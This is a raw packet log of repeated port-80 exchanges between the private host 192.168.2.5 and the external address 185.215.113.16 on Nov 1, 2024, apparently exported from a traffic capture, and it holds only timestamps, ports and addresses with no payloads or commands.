Nov 1, 2024 05:52:22.915745974 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:22.915760994 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:22.915839911 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:22.956469059 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:22.956496954 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:22.956510067 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:22.956525087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:22.956537008 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:22.956578970 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:22.956578970 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:22.959284067 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:22.959300995 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:22.959311008 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:22.959330082 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:22.959341049 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:22.959342003 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:22.959353924 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:22.959399939 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:22.959558010 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:22.959589958 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:22.959605932 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:22.959618092 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:22.959629059 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:22.959652901 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:22.959652901 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.000149012 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.000169039 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.000183105 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.000200987 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.000232935 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.000653982 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.001312017 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.001326084 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.001337051 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.001426935 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.001426935 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.003179073 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.003197908 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.003212929 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.003324032 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.003324032 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.003340960 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.003354073 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.003410101 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.003479004 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.003509998 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.003525019 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.003539085 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.003645897 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.031749964 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.031784058 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.031797886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.031811953 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.031826019 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.031864882 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.031914949 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.032057047 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.032069921 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.032092094 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.032104969 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.032118082 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.032131910 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.032131910 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.032155991 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.032176018 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.032866955 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.032915115 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.032927990 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.032941103 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.032974958 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.033071995 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.073525906 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.073545933 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.073560953 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.073576927 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.073718071 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.073735952 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.073749065 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.073793888 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.076129913 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.076150894 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.076195955 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.076232910 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.076248884 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.076262951 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.076276064 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.076307058 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.076351881 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.076730967 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.076742887 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.076811075 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.076881886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.076896906 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.076916933 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.076930046 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.076994896 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.076994896 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.117098093 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.117129087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.117141962 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.117166042 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.117182016 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.117194891 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.117196083 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.117225885 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.117305994 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.118324995 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.118340969 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.118355036 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.118630886 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.119851112 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.119893074 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.119908094 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.119910002 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.119983912 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.120286942 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.120307922 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.120395899 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.120409012 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.120424032 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.120439053 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.120732069 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.120740891 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.120743990 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.120799065 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.120881081 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.120893002 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.121285915 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.148695946 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.148730040 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.148762941 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.148783922 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.148791075 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.148798943 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.148813963 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.148828030 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.149023056 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.149264097 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.149279118 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.149291992 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.149326086 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.149456978 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.149588108 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.149600983 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.149616003 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.149636030 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.149647951 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.149662018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.149674892 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.149710894 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.149755001 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.150413036 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.150434971 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.150542021 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.190603018 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.190638065 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.190659046 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.190673113 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.190686941 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.193295956 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.193317890 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.193332911 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.193347931 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.193397045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.193412066 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.193424940 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.193882942 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.193912029 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.193924904 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.193937063 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.195094109 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.234210968 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.234235048 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.234250069 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.234321117 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.234328985 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.234343052 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.234355927 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.234436989 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.234436989 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.235804081 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.235816956 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.235831022 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.235877037 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.236848116 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.236861944 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.236874104 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.236942053 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.236942053 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.237288952 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.237310886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.237323999 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.237380981 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.237462997 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.237476110 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.237488031 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.237539053 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.237623930 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.237782955 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.237796068 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.237808943 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.238116026 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.265635014 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.265702009 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.265714884 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.265727997 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.265742064 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.265752077 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.265752077 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.265840054 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.266014099 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.266026974 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.266040087 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.266058922 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.266092062 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.266124964 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.266499996 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.266513109 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.266531944 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.266547918 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.266563892 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.266593933 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.266593933 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.267219067 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.267237902 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.267254114 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.267270088 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.267297983 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.267297983 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.267925978 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.307585001 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.307606936 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.307621956 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.307632923 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.307638884 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.307646990 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.307694912 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.308793068 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.310369015 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.310393095 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.310410023 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.310424089 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.310441017 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.310548067 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.310642958 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.310657978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.310676098 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.310683966 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.310698986 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.310715914 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.310758114 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.310758114 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.310908079 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.351269007 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.351289988 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.351301908 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.351325035 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.351355076 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.351382971 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.351453066 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.351457119 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.352782965 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.352799892 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.352813959 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.352834940 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.353708029 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.353801012 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.353816032 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.353827000 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.353909016 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.353909016 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.354204893 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.354234934 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.354285002 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.354295969 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.354350090 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.354350090 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.354463100 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.354477882 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.354490042 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.354773045 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.354787111 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.354902029 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.354937077 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.354955912 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.354969978 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.354983091 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.355003119 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.357721090 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.384382010 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.384402037 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.384418964 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.384473085 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.384715080 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.384752989 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.384891033 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.384906054 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.385057926 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.385073900 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.385097027 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.385234118 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.385247946 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.385272026 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.385416031 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.385432005 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.385447025 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.385452986 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.385474920 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.385590076 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.385605097 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.385639906 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.385675907 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.385677099 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.385795116 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.385811090 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.385827065 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.388884068 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.424674034 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.424695015 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.424710989 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.424751997 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.424766064 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.424868107 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.424941063 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.425111055 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.427346945 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.427373886 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.427388906 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.427403927 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.427476883 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.427570105 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.427582979 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.427684069 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.427699089 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.427767038 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.427778959 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.427819967 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.427829981 CET	49712	80	192.168.2.5	185.215.113.16
Nov 1, 2024 05:52:23.427833080 CET	80	49712	185.215.113.16	192.168.2.5
Nov 1, 2024 05:52:23.427874088 CET	49712	80	192.168.2.5	185.215.113.16
